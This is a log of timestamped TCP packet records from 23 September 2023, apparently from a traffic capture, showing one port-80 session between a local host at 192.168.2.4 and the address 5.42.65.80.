Sep 23, 2023 17:53:23.354207993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354245901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354290009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.354511023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354779005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.357657909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.357695103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.357705116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.357731104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.357774973 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.357841015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.358124971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.358160019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.358169079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.358232975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.358282089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.358314037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.358336926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.359499931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.359535933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.359544992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.359602928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.359638929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.359646082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.359718084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.360857010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.360969067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.360989094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.361090899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.361183882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.361260891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.361555099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.363152027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.363202095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.363225937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.363261938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.363297939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.363303900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.364780903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.364834070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.364846945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.364881992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.364917040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.364926100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.365953922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.366003990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.366058111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.368092060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.368149042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.368170023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.369056940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.369095087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.369108915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.369905949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.369941950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.369951963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.371798992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.371855974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.371932983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.373754025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.373790026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.373806000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.374360085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.374406099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.374418020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.377304077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.377341032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.377358913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.381726027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.381814003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.381835938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.386501074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.386569023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.386656046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.388123989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.388159990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.388184071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.388262033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.388312101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.388390064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.390547991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.390603065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.390657902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.390692949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.390727997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.390733957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.393038034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.393085003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.393117905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.393186092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.393223047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.393240929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.394606113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.394665956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.394706964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.395292044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.395328999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.395339012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.395365953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.395407915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.395432949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.396970987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397031069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.397051096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397088051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397130966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.397171021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397733927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397783041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.397902012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397938013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.397979975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.398015022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401488066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401525021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401546001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.401669025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401711941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.401721001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401757956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401798010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.401854038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.401984930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402020931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402026892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.402086973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402122021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402127981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.402159929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402200937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.402256966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402352095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402386904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402394056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.402512074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.402555943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.402678013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403512001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403554916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403562069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.403717995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403753996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403762102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.403855085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403891087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.403896093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.404005051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404041052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404057980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.404103041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404143095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.404171944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404558897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404596090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404608011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.404784918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.404831886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.405761957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.405797958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.405843973 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.405884981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.405920982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.405963898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.405988932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.406270981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.406312943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.406326056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.406491041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.406533957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.406610966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407119989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407156944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407165051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.407224894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407269955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.407315016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407903910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407939911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.407947063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.408005953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.408071041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.408075094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409209013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409256935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.409754038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409812927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409848928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409854889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.409915924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.409957886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.409986019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.410022974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.410058975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.410065889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.410558939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.410603046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.410808086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.410996914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.411046028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.411451101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413300037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413355112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.413367033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413497925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413535118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413542032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.413600922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413636923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413641930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.413897038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413933992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.413939953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.414056063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414098024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.414123058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414401054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414444923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.414446115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414530993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414575100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.414652109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414956093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.414994955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415003061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.415064096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415110111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415118933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.415414095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415458918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.415553093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415879011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.415937901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.416115046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418473005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418509007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418536901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.418567896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418610096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.418664932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418771029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418806076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418812990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.418941975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418977022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.418982983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.419521093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.419575930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.419610977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.419728041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.419770956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.419801950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.419951916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.419996023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.420005083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.420073032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.420106888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.420113087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421215057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421267033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421269894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421304941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421340942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421346903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421375990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421411037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421416998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421447039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421487093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421515942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421551943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421601057 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421688080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421725035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421761036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421763897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421827078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421875000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421891928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421926975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421962023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.421969891 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.421998024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422033072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422044039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.422745943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422782898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422794104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.422818899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422853947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.422858953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.423548937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.423584938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.423599005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.423620939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.423655987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.423661947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.424309015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.424344063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.424359083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.424380064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.424422026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.424447060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.425033092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.425070047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.425080061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.425105095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.425139904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.425144911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.426055908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426081896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426100969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426116943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426117897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.426140070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.426709890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426728010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426744938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426770926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.426781893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.426803112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.427537918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.427598953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.427614927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.427619934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.427630901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.427654982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.428284883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.428319931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.428342104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.428381920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.428399086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.428421021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.429023981 CEST	80	49781	5.42.65.80	192.168.2.4
